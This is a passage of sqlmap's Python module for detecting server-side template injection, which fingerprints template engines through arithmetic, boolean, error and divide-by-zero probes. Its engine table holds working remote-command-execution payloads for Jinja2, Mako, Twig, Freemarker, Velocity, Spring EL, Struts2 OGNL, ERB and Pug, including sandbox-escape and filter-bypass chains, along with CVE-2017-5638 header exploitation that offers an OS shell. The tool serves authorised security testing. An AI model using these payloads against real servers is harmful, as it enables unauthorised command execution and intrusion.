mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
1140 lines
56 KiB
Python
1140 lines
56 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import difflib
|
|
import re
|
|
import time
|
|
|
|
from collections import namedtuple
|
|
|
|
from lib.core.common import beep
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import randomStr
|
|
from lib.core.convert import getUnicode
|
|
from lib.core.data import conf
|
|
from lib.core.data import logger
|
|
from lib.core.enums import CUSTOM_LOGGING
|
|
from lib.core.enums import HTTP_HEADER
|
|
from lib.core.enums import PLACE
|
|
from lib.core.settings import SSTI_ERROR_SIGNATURES
|
|
from lib.core.settings import UPPER_RATIO_BOUND
|
|
from lib.request.connect import Connect as Request
|
|
from lib.utils.nonsql import ratio as _ratio
|
|
from lib.utils.nonsql import blockedStatus
|
|
from thirdparty.six.moves.urllib.parse import quote as _quote
|
|
|
|
|
|
SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST)
|
|
|
|
# Each Engine entry defines detection payloads and expected behaviour for one
|
|
# template engine. Arithmetic fields use %d placeholders filled with randomInt()
|
|
# at probe time so a static "49" on the page cannot produce a false positive.
|
|
# Engines are listed in detection-priority order.
|
|
Engine = namedtuple("Engine", (
|
|
"name", # human-readable engine name
|
|
"family", # language family (python, php, java, ruby, nodejs)
|
|
"delimiter", # expression delimiter opening (e.g. "{{")
|
|
"delimiterClose", # expression delimiter closing (e.g. "}}")
|
|
"errorRegex", # combined engine-specific error regex (None for "no specific signature")
|
|
"errorProbes", # tuple of malformed payload suffixes that trigger engine errors
|
|
"arithmeticFmt", # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or ""
|
|
"arithmeticUnescapedFmt", # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or ""
|
|
"booleanTrue", # boolean true payload
|
|
"booleanFalse", # boolean false payload
|
|
"trueRendered", # what true renders as (for response matching)
|
|
"falseRendered", # what false renders as
|
|
"distinguishingProbe", # cross-engine disambiguation probe (None if n/a)
|
|
"distinguishingResult", # expected substring from disambiguation probe
|
|
"expressionFmt", # format string for wrapping expressions (e.g. "{{ %s }}"), or ""
|
|
"rcePayloads", # tuple of (payload_template, description) with {CMD} for command, or ()
|
|
))
|
|
|
|
|
|
def _arithmeticPayload(fmt, a, b):
|
|
# Substitute the two operands into the first two %d tokens by literal replacement rather than
|
|
# %-formatting: some engines' delimiters contain a literal '%' (e.g. ERB '<%= ... %>'), where
|
|
# fmt % (a, b) raises ValueError and would silently disable arithmetic detection for them.
|
|
return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1)
|
|
|
|
|
|
def _degroup(text):
|
|
# Strip digit-group (thousands) separators so an arithmetic result still matches when the
|
|
# engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678").
|
|
# Only separators sitting between digits are removed, so ordinary text is untouched.
|
|
return re.sub(u"(?<=\\d)[,\u00a0\u202f\u2009']" + u"(?=\\d)", "", getUnicode(text))
|
|
|
|
|
|
_ENGINE_TABLE = (
|
|
# -- Python -------------------------------------------------------------------------------------------
|
|
Engine("Jinja2", "python",
|
|
"{{", "}}",
|
|
r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)",
|
|
("{{", "{{ }}", "{{ unknown|filter }}"),
|
|
"{{ %d*%d }}", "{{ (%d*%d)|safe }}",
|
|
"{{ True }}", "{{ False }}", "True", "False",
|
|
None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"")
|
|
"{{ %s }}",
|
|
# Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum -> attr()-chain).
|
|
# The last one is dot-/underscore-free (filters + \x5f-escaped dunders), bypassing
|
|
# sanitisers that block '.'/'_' (the CVE-2025-23211 Tandoor technique).
|
|
(("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"),
|
|
("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"),
|
|
("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"),
|
|
("{{ cycler|attr('\\x5f\\x5finit\\x5f\\x5f')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('{CMD}')|attr('read')() }}", "attr() filter chain (dot/underscore-free)"))),
|
|
Engine("Mako", "python",
|
|
"${", "}",
|
|
r"(?i)(?:mako\.exceptions\.\w+|mako\.runtime|CompileException|SyntaxException)",
|
|
("${", "${}", "<%", "<%!"),
|
|
"${%d*%d}", "",
|
|
"${True}", "${False}", "True", "False",
|
|
None, None, # capital True/False uniquely identifies Mako within the ${ } family (Freemarker/Spring render lowercase true/false)
|
|
"${%s}",
|
|
# Mako: popen captures output; self.module.runtime path needs no <%import%> preamble
|
|
(("${self.module.runtime.util.os.popen('{CMD}').read()}", "self.module.runtime.util.os.popen"),
|
|
("<%import os%>${os.popen('{CMD}').read()}", "import os + popen"))),
|
|
# -- PHP ----------------------------------------------------------------------------------------------
|
|
Engine("Twig", "php",
|
|
"{{", "}}",
|
|
r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))",
|
|
("{{", "{{ }}", "{{ unknown|filter }}"),
|
|
"{{ %d*%d }}", "{{ (%d*%d)|raw }}",
|
|
"{{ true }}", "{{ false }}", "1", "",
|
|
# '_self' renders 'Twig_Template' (Twig 1) or '__string_template__...' (Twig 2/3);
|
|
# 'emplate' is the substring common to both, so the probe is version-stable
|
|
"{{ _self }}", "emplate",
|
|
"{{ %s }}",
|
|
# Twig: filter() chain first; then sort()/map() callbacks, which double as classic
|
|
# sandbox escapes when 'filter' is not on the policy allow-list (DEEP1 Phishtale)
|
|
(("{{ ['{CMD}']|filter('system') }}", "filter('system')"),
|
|
("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"),
|
|
("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"),
|
|
("{{ ['{CMD}', '']|sort('system')|join }}", "sort('system') sandbox escape"),
|
|
("{{ ['{CMD}']|map('system')|join }}", "map('system') sandbox escape"))),
|
|
# -- Java ---------------------------------------------------------------------------------------------
|
|
Engine("Freemarker", "java",
|
|
"${", "}",
|
|
r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)",
|
|
("${", "${}", "<#if ", "<#--"),
|
|
"${%d*%d}", "${(%d*%d)?no_esc}",
|
|
# modern FreeMarker errors on a bare ${true} ("boolean_format"); ?c gives the
|
|
# computer-format "true"/"false" string, so the boolean oracle works on real FreeMarker
|
|
"${true?c}", "${false?c}", "true", "false",
|
|
# Freemarker '?builtin' syntax (SpEL/Thymeleaf can't parse '?upper_case' -> errors there),
|
|
# giving an intrinsic, non-empty discriminator from Spring within the shared '${ }' family
|
|
'${"sstimark"?upper_case}', "SSTIMARK",
|
|
"${%s}",
|
|
# Freemarker: classic -> indirect-assign fallback
|
|
(("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"),
|
|
("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))),
|
|
Engine("Velocity", "java",
|
|
"$", "",
|
|
r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)",
|
|
("$", "#if(", "#set($x=)"),
|
|
"", "",
|
|
"#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE",
|
|
"#* velocity *#", "",
|
|
"", # no generic expression wrapper
|
|
# Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName()
|
|
# reflection chain - needs NO velocity-tools $class in the context - reading the process
|
|
# stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools
|
|
# ClassTool ($class) form, for apps that expose it.
|
|
(("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))"
|
|
"#set($chr=$x.class.forName('java.lang.Character'))"
|
|
"#set($str=$x.class.forName('java.lang.String'))"
|
|
"#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
|
|
"#set($out=$ex.getInputStream())"
|
|
"#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"),
|
|
("#set($str=$class.inspect('java.lang.String').type)"
|
|
"#set($chr=$class.inspect('java.lang.Character').type)"
|
|
"#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
|
|
"#set($out=$ex.getInputStream())"
|
|
"#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))),
|
|
Engine("Spring EL / Thymeleaf", "java",
|
|
"${", "}",
|
|
r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)",
|
|
("${", "${}", "#{", "*{"),
|
|
"${%d*%d}", "",
|
|
"${true}", "${false}", "true", "false",
|
|
# SpEL Java method call (Freemarker uses '?upper_case', not '.toUpperCase()' -> errors
|
|
# there), giving an intrinsic, non-empty discriminator from Freemarker in '${ }'
|
|
"${'sstimark'.toUpperCase()}", "SSTIMARK",
|
|
"${%s}",
|
|
# SpEL: read the process stdout (so output is captured, not just a Process object);
|
|
# then a blind exec; then the OGNL form for engines that parse OGNL instead of SpEL
|
|
(("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"),
|
|
("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"),
|
|
("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))),
|
|
Engine("Struts2 (OGNL)", "java",
|
|
"%{", "}",
|
|
r"(?i)(?:ognl\.(?:OgnlException|NoSuchPropertyException|MethodFailedException|InappropriateExpressionException|ExpressionSyntaxException)|com\.opensymphony\.xwork2|There is no Action mapped for|Struts (?:Problem Report|has detected an unhandled exception)|InaccessibleObjectException)",
|
|
("%{", "%{}", "%{1/0}"),
|
|
"%{%d*%d}", "",
|
|
"%{true}", "%{false}", "true", "false",
|
|
None, None, # '%{' is unique in the table -> arithmetic proof alone names Struts2 OGNL
|
|
"%{%s}",
|
|
# Struts2 OGNL: modern chain resets the sandbox (#_memberAccess) then reads the process
|
|
# stdout in-band; the legacy @Runtime@ form is a blind fallback for old (pre-sandbox) Struts.
|
|
(("%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#p=new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','{CMD}'})).(#p.redirectErrorStream(true)).(#pr=#p.start()).(#sc=new java.util.Scanner(#pr.getInputStream()).useDelimiter('\\\\A')).(#sc.hasNext()?#sc.next():'')}", "memberAccess reset + ProcessBuilder (output)"),
|
|
("%{(#a=@java.lang.Runtime@getRuntime().exec('{CMD}'))}", "@Runtime@getRuntime (blind, legacy)"))),
|
|
# -- Ruby ---------------------------------------------------------------------------------------------
|
|
Engine("ERB", "ruby",
|
|
"<%=", "%>",
|
|
r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)",
|
|
("<%=", "<%", "<%#", "<%= foo.unknown_method %>"),
|
|
"<%= %d*%d %>", "<%= raw %d*%d %>",
|
|
"<%= true %>", "<%= false %>", "true", "false",
|
|
"<%= defined? Rails %>", "",
|
|
"<%= %s %>",
|
|
# ERB: backtick captures output; system() returns only exit status
|
|
(("<%= `{CMD}` %>", "backtick"),)),
|
|
# -- Node.js ------------------------------------------------------------------------------------------
|
|
Engine("Pug/Jade", "nodejs",
|
|
"#{", "}",
|
|
r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)",
|
|
("#{", "!{", "#{ }"),
|
|
"#{%d*%d}", "!{%d*%d}",
|
|
"#{true}", "#{false}", "true", "false",
|
|
None, None,
|
|
"#{%s}",
|
|
(("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)),
|
|
Engine("Handlebars", "nodejs",
|
|
"{{", "}}",
|
|
r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})",
|
|
("{{", "{{#if}}", "{{/each}}"),
|
|
"", "",
|
|
"{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "",
|
|
None, None,
|
|
"", # no generic expression wrapper without registered helpers
|
|
()), # RCE requires pre-registered helpers; not generically exploitable
|
|
)
|
|
|
|
|
|
|
|
|
|
def _delim(place):
|
|
return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
|
|
|
|
|
|
def _confParameters(place):
|
|
try:
|
|
return conf.parameters.get(place, "")
|
|
except AttributeError:
|
|
return conf.parameters[place] if place in conf.parameters else ""
|
|
|
|
|
|
def _originalValue(place, parameter):
|
|
for segment in _confParameters(place).split(_delim(place)):
|
|
name, _, value = segment.partition('=')
|
|
if name.strip() == parameter:
|
|
return value
|
|
return conf.paramDict.get(place, {}).get(parameter) or ""
|
|
|
|
|
|
def _replaceSegment(place, parameter, value):
|
|
delimiter = _delim(place)
|
|
raw = _confParameters(place)
|
|
retVal, replaced = [], False
|
|
|
|
for part in raw.split(delimiter):
|
|
name, _, _ = part.partition('=')
|
|
if not replaced and name.strip() == parameter:
|
|
retVal.append("%s=%s" % (name, value))
|
|
replaced = True
|
|
else:
|
|
retVal.append(part)
|
|
|
|
if not replaced:
|
|
retVal = []
|
|
for name, oldValue in conf.paramDict.get(place, {}).items():
|
|
retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
|
|
|
|
return delimiter.join(retVal)
|
|
|
|
|
|
def _send(place, parameter, value):
|
|
"""Issue a single HTTP request with the target parameter set to `value`.
|
|
Temporarily mutates conf.parameters so sqlmap's normal request machinery
|
|
(URL construction, cookies, headers, encodings) is fully preserved."""
|
|
|
|
if conf.delay:
|
|
time.sleep(conf.delay)
|
|
|
|
old_params = conf.parameters.get(place, "")
|
|
# URL-encode the injected value so payload metacharacters survive on the wire: '%' (OGNL/ERB
|
|
# delimiters, e.g. Struts2 '%{...}'), '#' (OGNL context vars / fragment delimiter), and '&'/'='/
|
|
# space would otherwise be mangled or split by the server before the template ever sees them.
|
|
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
|
|
|
|
try:
|
|
kwargs = {"raise404": False, "silent": True}
|
|
if conf.verbose >= 3:
|
|
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
|
page, _, code = Request.getPage(**kwargs)
|
|
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample -
|
|
# signal None so the detection routines (which reject None) can never decide on it
|
|
if blockedStatus(code):
|
|
return None
|
|
return page or ""
|
|
except Exception as ex:
|
|
logger.debug("SSTI probe request failed: %s" % getUnicode(ex))
|
|
return None
|
|
finally:
|
|
conf.parameters[place] = old_params
|
|
|
|
|
|
def _isError(page, engine):
|
|
if not engine.errorRegex:
|
|
return False
|
|
return bool(re.search(engine.errorRegex, getUnicode(page or "")))
|
|
|
|
|
|
def _backendFromError(page):
|
|
page = getUnicode(page or "")
|
|
for name, regex in SSTI_ERROR_SIGNATURES:
|
|
if re.search(regex, page):
|
|
return name
|
|
return None
|
|
|
|
|
|
def _boolean(truthy, falsy):
|
|
"""Return the reproducible true page when true/false probes diverge.
|
|
Both true AND false pages must be independently reproducible."""
|
|
|
|
truePage = truthy()
|
|
if truePage is None:
|
|
return None
|
|
|
|
truePage2 = truthy()
|
|
if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND:
|
|
return None
|
|
|
|
falsePage = falsy()
|
|
if falsePage is None:
|
|
return None
|
|
|
|
falsePage2 = falsy()
|
|
if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND:
|
|
return None
|
|
|
|
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
|
return truePage
|
|
|
|
return None
|
|
|
|
|
|
def _probeArithmetic(place, parameter, engine):
|
|
"""Inject a random arithmetic expression and its control pair (different
|
|
operands, different result). Both results must appear for their respective
|
|
payloads and NOT bleed across, proving the template is executing the expression
|
|
rather than a static '49' appearing on the page by coincidence."""
|
|
|
|
if not engine.arithmeticFmt:
|
|
return False
|
|
|
|
original = _originalValue(place, parameter) or ""
|
|
a, b = randomInt(3), randomInt(3)
|
|
c = b + 1 # different operand -> different result
|
|
|
|
result1 = str(a * b)
|
|
result2 = str(a * c)
|
|
|
|
for fmt in (engine.arithmeticFmt, engine.arithmeticUnescapedFmt):
|
|
if not fmt:
|
|
continue
|
|
|
|
try:
|
|
p1 = original + _arithmeticPayload(fmt, a, b)
|
|
p2 = original + _arithmeticPayload(fmt, a, c)
|
|
except (ValueError, TypeError):
|
|
logger.debug("SSTI arithmetic: format failed for engine '%s' with fmt=%r" % (engine.name, fmt))
|
|
continue
|
|
|
|
page1 = _send(place, parameter, p1)
|
|
page2 = _send(place, parameter, p2)
|
|
|
|
if not page1 or not page2:
|
|
continue
|
|
|
|
text1 = getUnicode(page1)
|
|
text2 = getUnicode(page2)
|
|
|
|
# Raw payload reflection means the template did NOT execute
|
|
if p1 in text1 or p2 in text2:
|
|
continue
|
|
|
|
# Match against a digit-group-stripped copy so a grouped result (e.g. FreeMarker's
|
|
# "132,678") still counts; the raw-reflection check above stays on the original text.
|
|
norm1, norm2 = _degroup(text1), _degroup(text2)
|
|
|
|
# Each result must appear in its own response and NOT in the other
|
|
if result1 in norm1 and result2 not in norm1 and result2 in norm2 and result1 not in norm2:
|
|
return True
|
|
|
|
return False
|
|
|
|
|
|
def _probeError(place, parameter, engine):
|
|
"""Inject each error probe suffix and check for engine-specific error messages."""
|
|
if not engine.errorRegex or not engine.errorProbes:
|
|
return None
|
|
|
|
original = _originalValue(place, parameter) or ""
|
|
|
|
for probe in engine.errorProbes:
|
|
payload = original + probe
|
|
page = _send(place, parameter, payload)
|
|
if not page:
|
|
continue
|
|
if _isError(page, engine):
|
|
return page
|
|
return None
|
|
|
|
|
|
# A divide-by-zero error is language-family specific, which separates engines that SHARE a
|
|
# delimiter but run on different runtimes (Jinja2/Python vs Twig/PHP in '{{ }}', or Mako/Python
|
|
# vs Freemarker/Spring/Java in '${ }'). Matching is case-SENSITIVE so Python's lowercase
|
|
# 'division by zero' is not confused with PHP's capitalised 'Division by zero'. JS is omitted on
|
|
# purpose: 1/0 yields Infinity there rather than an error, so it carries no family signal.
|
|
_FAMILY_DIVZERO = (
|
|
("python", re.compile(r"division by zero")),
|
|
("ruby", re.compile(r"divided by 0")),
|
|
("php", re.compile(r"DivisionByZeroError|Division by zero")),
|
|
("java", re.compile(r"ArithmeticException|/ by zero")),
|
|
)
|
|
|
|
|
|
def _probeFamily(place, parameter, engine, cache):
|
|
"""Inject a divide-by-zero inside the engine's delimiter and infer the backend language
|
|
family from the resulting error. Returns the family string or None. Responses are cached by
|
|
payload so engines that share a delimiter ('{{1/0}}' etc.) cost a single request."""
|
|
|
|
if not engine.arithmeticFmt or not engine.delimiterClose:
|
|
return None
|
|
|
|
payload = (_originalValue(place, parameter) or "") + engine.delimiter + "1/0" + engine.delimiterClose
|
|
if payload not in cache:
|
|
cache[payload] = _send(place, parameter, payload)
|
|
page = cache[payload]
|
|
if not page:
|
|
return None
|
|
|
|
text = getUnicode(page)
|
|
if payload in text: # raw reflection -> template did not execute it
|
|
return None
|
|
for family, regex in _FAMILY_DIVZERO:
|
|
if regex.search(text):
|
|
return family
|
|
return None
|
|
|
|
|
|
def _probeDistinguishing(place, parameter, engine):
|
|
"""Send the engine-specific fingerprint probe and verify the response.
|
|
For probes with a non-empty expected result, the result must appear and the
|
|
raw probe must NOT be reflected verbatim.
|
|
For empty-result (comment-style) probes, the response must stay similar to
|
|
baseline and the probe must NOT appear in the output."""
|
|
|
|
if not engine.distinguishingProbe:
|
|
return False
|
|
|
|
original = _originalValue(place, parameter) or ""
|
|
probe = engine.distinguishingProbe
|
|
page = _send(place, parameter, original + probe)
|
|
if page is None:
|
|
return False
|
|
|
|
text = getUnicode(page)
|
|
|
|
# Reject raw reflection: if the probe appears verbatim, the template didn't execute it
|
|
if probe in text:
|
|
return False
|
|
|
|
if engine.distinguishingResult:
|
|
return engine.distinguishingResult in text
|
|
|
|
# Empty-result (comment-style) probe: response must stay similar to baseline
|
|
baseline = _send(place, parameter, original)
|
|
return _ratio(page, baseline) >= UPPER_RATIO_BOUND
|
|
|
|
|
|
def _detectBoolean(place, parameter, engine):
|
|
"""Establish a boolean oracle for this engine. Returns the true template or None."""
|
|
original = _originalValue(place, parameter) or ""
|
|
|
|
# arithmetic-only engines (e.g. Struts2 OGNL) carry no boolean payloads - nothing to do here
|
|
if not engine.booleanTrue or not engine.booleanFalse:
|
|
return None
|
|
|
|
truePayload = original + engine.booleanTrue
|
|
falsePayload = original + engine.booleanFalse
|
|
|
|
truePage = _send(place, parameter, truePayload)
|
|
falsePage = _send(place, parameter, falsePayload)
|
|
if not truePage or not falsePage:
|
|
return None
|
|
|
|
trueText, falseText = getUnicode(truePage), getUnicode(falsePage)
|
|
|
|
# a raw payload surviving in the response means the template did NOT evaluate it
|
|
if truePayload in trueText or falsePayload in falseText:
|
|
return None
|
|
|
|
# an engine ERROR page is not a valid boolean rendering: a syntactically invalid true/false pair
|
|
# that merely trips two DIFFERENT error messages would otherwise diverge and fake an oracle
|
|
if _isError(truePage, engine) or _isError(falsePage, engine):
|
|
return None
|
|
|
|
if engine.trueRendered:
|
|
# attribution guard: the true marker must be ABSENT from the untouched baseline (else it is
|
|
# page furniture, not our evaluated output), PRESENT in the true page, and ABSENT from the
|
|
# false page - so the divergence is provably OUR rendered boolean, not incidental page drift
|
|
baseline = getUnicode(_send(place, parameter, original) or "")
|
|
if engine.trueRendered in baseline:
|
|
return None
|
|
if engine.trueRendered not in trueText or engine.trueRendered in falseText:
|
|
return None
|
|
|
|
return _boolean(lambda p=truePayload: _send(place, parameter, p),
|
|
lambda p=falsePayload: _send(place, parameter, p))
|
|
|
|
|
|
def _booleanUniquelyIdentifies(engine):
|
|
"""Returns True when the engine's boolean rendering signature is unique
|
|
among all engines sharing the same delimiter, allowing exact naming."""
|
|
siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter]
|
|
signature = (engine.booleanTrue, engine.booleanFalse,
|
|
engine.trueRendered, engine.falseRendered)
|
|
count = sum((e.booleanTrue, e.booleanFalse,
|
|
e.trueRendered, e.falseRendered) == signature for e in siblings)
|
|
return count == 1
|
|
|
|
|
|
def _familyUniquelyIdentifies(engine):
|
|
"""Returns True when the engine's language family is unique among engines sharing the
|
|
same delimiter, so a divide-by-zero family probe is enough to name it exactly."""
|
|
siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter]
|
|
return sum(e.family == engine.family for e in siblings) == 1
|
|
|
|
|
|
# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these
|
|
# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for
|
|
# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine.
|
|
_SHARED_DELIMITERS = frozenset(("{{", "${"))
|
|
|
|
|
|
def _fingerprint(place, parameter):
|
|
"""Identify the template engine and confirm injection. Returns (engine, evidence)
|
|
where evidence is a dict of detection results, or (None, None).
|
|
|
|
Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2) + family(1).
|
|
Engines sharing delimiters require error, distinguishing, unique boolean rendering, or a
|
|
uniquely-identifying language family to be named exactly; otherwise they are reported as
|
|
family/probable."""
|
|
|
|
bestEngine = None
|
|
bestEvidence = None
|
|
bestScore = 0
|
|
divZeroCache = {}
|
|
|
|
for engine in _ENGINE_TABLE:
|
|
evidence = {}
|
|
score = 0
|
|
|
|
# Phase 1: Arithmetic in-band proof with control pair (strongest)
|
|
if _probeArithmetic(place, parameter, engine):
|
|
evidence["arithmetic"] = True
|
|
score += 3
|
|
|
|
# Phase 2: Boolean oracle
|
|
if _detectBoolean(place, parameter, engine):
|
|
evidence["boolean"] = True
|
|
score += 2
|
|
|
|
# Phase 3: Error-based fingerprinting
|
|
errorPage = _probeError(place, parameter, engine)
|
|
if errorPage is not None:
|
|
if _isError(errorPage, engine):
|
|
evidence["error"] = True
|
|
score += 1
|
|
|
|
# Phase 4: Distinguishing probe (breaks ties within delimiter families)
|
|
if _probeDistinguishing(place, parameter, engine):
|
|
evidence["distinguishing"] = True
|
|
score += 2
|
|
|
|
# Phase 5: language-family confirmation via divide-by-zero error class
|
|
if _probeFamily(place, parameter, engine, divZeroCache) == engine.family:
|
|
evidence["family"] = True
|
|
score += 1
|
|
|
|
if score > bestScore:
|
|
bestScore = score
|
|
bestEngine = engine
|
|
bestEvidence = evidence
|
|
|
|
# A decisive arithmetic proof on an engine whose delimiter no other engine shares
|
|
# is unambiguous: stop scanning the remaining engines (all phases of THIS engine
|
|
# already ran, so its evidence is complete) instead of exhaustively testing all nine.
|
|
if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS:
|
|
break
|
|
|
|
# CONFIRMED requires an EVALUATION proof - in-band arithmetic (randomized pair) or a template
|
|
# boolean oracle. Weak signals (error / distinguishing / family) are NOT summed into a
|
|
# confirmation: the old `score >= 3` let boolean+error, distinguishing+error, or even a lone
|
|
# generic parser error "confirm" SSTI with no proof the template actually evaluated our input
|
|
# (and then drive automatic RCE on an unproven finding).
|
|
if bestEngine and (bestEvidence.get("arithmetic") or bestEvidence.get("boolean")):
|
|
# For engines with ambiguous delimiters (shared by multiple engines),
|
|
# name a specific engine when: error fingerprint, distinguishing probe,
|
|
# or boolean rendering is unique within the delimiter family.
|
|
_FAMILY = {
|
|
"{{": "Jinja2/Twig/Handlebars-like",
|
|
"${": "Freemarker/SpringEL/Mako-like",
|
|
}
|
|
if bestEngine.delimiter in _FAMILY:
|
|
if (bestEvidence.get("error") or
|
|
bestEvidence.get("distinguishing") or
|
|
(bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine)) or
|
|
(bestEvidence.get("family") and _familyUniquelyIdentifies(bestEngine))):
|
|
pass # specific engine name stands
|
|
else:
|
|
bestEngine = bestEngine._replace(
|
|
name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name))
|
|
return bestEngine, bestEvidence
|
|
|
|
# weak signals only (parser reachable, but NO evaluation proof) -> informational, NOT confirmed
|
|
if bestEngine and bestScore >= 1:
|
|
logger.info("%s parameter '%s' reaches a template parser (evidence: %s) but SSTI is NOT "
|
|
"confirmed - no arithmetic/boolean evaluation proof" % (place, parameter, ",".join(sorted(bestEvidence)) or "error"))
|
|
return None, None
|
|
|
|
# generic parser-family error only -> informational, never a confirmed engine
|
|
for suffix in ("{{", "${", "<%=", "#{"):
|
|
page = _send(place, parameter, _originalValue(place, parameter) + suffix)
|
|
backend = _backendFromError(page) if page else None
|
|
if backend:
|
|
logger.info("%s parameter '%s' triggers a %s template-parser error, but SSTI is NOT "
|
|
"confirmed (no evaluation proof)" % (place, parameter, backend))
|
|
break
|
|
|
|
return None, None
|
|
|
|
|
|
def sstiScan():
|
|
debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
|
|
debugMsg += "common template engines when possible. SQL enumeration "
|
|
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
|
|
logger.debug(debugMsg)
|
|
|
|
# CVE-2017-5638 (S2-045): OGNL via the Content-Type header - a distinct, non-reflected Struts2
|
|
# vector that needs no request parameter, so it is probed once up front. Reporting it must NOT
|
|
# short-circuit the rest of the scan: request PARAMETERS can be independently SSTI-injectable and
|
|
# were previously never tested once this fired.
|
|
struts2 = _probeStruts2Header(conf.url)
|
|
if struts2:
|
|
logger.info("%s header is vulnerable to SSTI (back-end: 'Struts2 (OGNL)', CVE-2017-5638)" % HTTP_HEADER.CONTENT_TYPE)
|
|
if conf.beep:
|
|
beep()
|
|
report = ("---\nParameter: %s ((custom) HEADER)\n Type: SSTI\n"
|
|
" Title: Struts2 OGNL injection via Content-Type header (CVE-2017-5638)\n"
|
|
" Payload: %s: %%{(#_memberAccess=...).(...)}\n---" % (HTTP_HEADER.CONTENT_TYPE, HTTP_HEADER.CONTENT_TYPE))
|
|
conf.dumper.singleString(report)
|
|
if not any(conf.get(_) for _ in ("osCmd", "osShell")):
|
|
logger.info("the back-end 'Struts2 (OGNL)' allows OS command execution via this injection; "
|
|
"you are advised to try '--os-shell' (interactive) or '--os-cmd=<command>' (single command)")
|
|
if conf.get("osCmd"):
|
|
_dumpS2045(conf.url, conf.osCmd)
|
|
if conf.get("osShell"):
|
|
_osShell(lambda cmd: _dumpS2045(conf.url, cmd))
|
|
|
|
if not conf.paramDict:
|
|
if not struts2:
|
|
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
|
else:
|
|
logger.info("SSTI scan complete")
|
|
return
|
|
|
|
tested = 0
|
|
found = []
|
|
|
|
for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict):
|
|
# mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
|
|
if place == PLACE.COOKIE and conf.level < 2:
|
|
continue
|
|
for parameter in list(conf.paramDict[place].keys()):
|
|
if conf.testParameter and parameter not in conf.testParameter:
|
|
continue
|
|
|
|
